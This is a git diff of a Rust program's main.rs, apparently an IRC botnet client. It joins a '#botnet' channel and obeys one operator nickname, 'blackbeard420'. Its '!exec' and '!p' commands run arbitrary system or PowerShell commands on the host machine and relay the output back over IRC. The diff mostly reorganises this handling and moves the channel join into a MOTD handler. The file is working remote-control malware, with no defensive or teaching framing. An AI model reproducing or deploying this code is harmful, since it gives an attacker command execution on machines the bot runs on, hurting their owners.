diff --git a/src/main.rs b/src/main.rs index c9844b0..d842a66 100644 --- a/src/main.rs +++ b/src/main.rs @@ -17,7 +17,7 @@ async fn main() -> Result<(), failure::Error> { let mut client = Client::from_config(config).await?; client.identify()?; - client.send_join_with_keys::<&str, &str>("#botnet", "fuckyou")?; + let mut stream = client.stream()?; let sender = client.sender(); @@ -25,62 +25,68 @@ async fn main() -> Result<(), failure::Error> { while let Some(message) = stream.next().await.transpose()? { print!("{}", message); - if let Command::PRIVMSG(ref target, ref msg) = message.command { - if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" { - if &msg[1..5] == "exec" { - let mut args = msg.split_ascii_whitespace().skip(1); - - let mut cmd = process::Command::new(args.nth(0).unwrap()); - - for x in args { - cmd.arg(x); + match message.command { + Command::PRIVMSG(ref target, ref msg) => { + if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" { + if &msg[1..5] == "exec" { + let mut args = msg.split_ascii_whitespace().skip(1); + + let mut cmd = process::Command::new(args.nth(0).unwrap()); + + for x in args { + cmd.arg(x); + } + + println!("{:?}", cmd); + + let out = cmd.output().unwrap(); + + let output = String::from_utf8_lossy(&out.stdout).to_string(); + + let s = sender.clone(); + + let t = target.to_string(); + + tokio::spawn(async move { + send_message(s, t, output).await + }); + } + + if &msg[1..2] == "p" { + let mut cmd = process::Command::new("powershell"); + + cmd.arg("-command"); + cmd.arg(&msg[3..]); + + println!("{:?}", cmd); + + + let out = cmd.output().unwrap(); + + let outerr = String::from_utf8_lossy(&out.stderr).to_string(); + let output = String::from_utf8_lossy(&out.stdout).to_string(); + + let s = sender.clone(); + + let t = target.to_string(); + + tokio::spawn(async move { + send_message(s, t, outerr).await + }); + + let s = sender.clone(); + let t = target.to_string(); + + tokio::spawn(async move { + send_message(s.clone(), t, output).await + }); } - - println!("{:?}", cmd); - - let out = cmd.output().unwrap(); - - let output = String::from_utf8_lossy(&out.stdout).to_string(); - - let s = sender.clone(); - - let t = target.to_string(); - - tokio::spawn(async move { - send_message(s, t, output).await - }); - } - - if &msg[1..2] == "p" { - let mut cmd = process::Command::new("powershell"); - - cmd.arg("-command"); - cmd.arg(&msg[3..]); - - println!("{:?}", cmd); - - - let out = cmd.output().unwrap(); - - let outerr = String::from_utf8_lossy(&out.stderr).to_string(); - let output = String::from_utf8_lossy(&out.stdout).to_string(); - - let s = sender.clone(); - - let t = target.to_string(); - - tokio::spawn(async move { - send_message(s, t, outerr).await - }); - - let s = sender.clone(); - let t = target.to_string(); - - tokio::spawn(async move { - send_message(s.clone(), t, output).await - }); } } + Command::MOTD(ref _motd) => { + client.send_join_with_keys::<&str, &str>("#botnet", "fuckyou")?; + } + _ => {} } }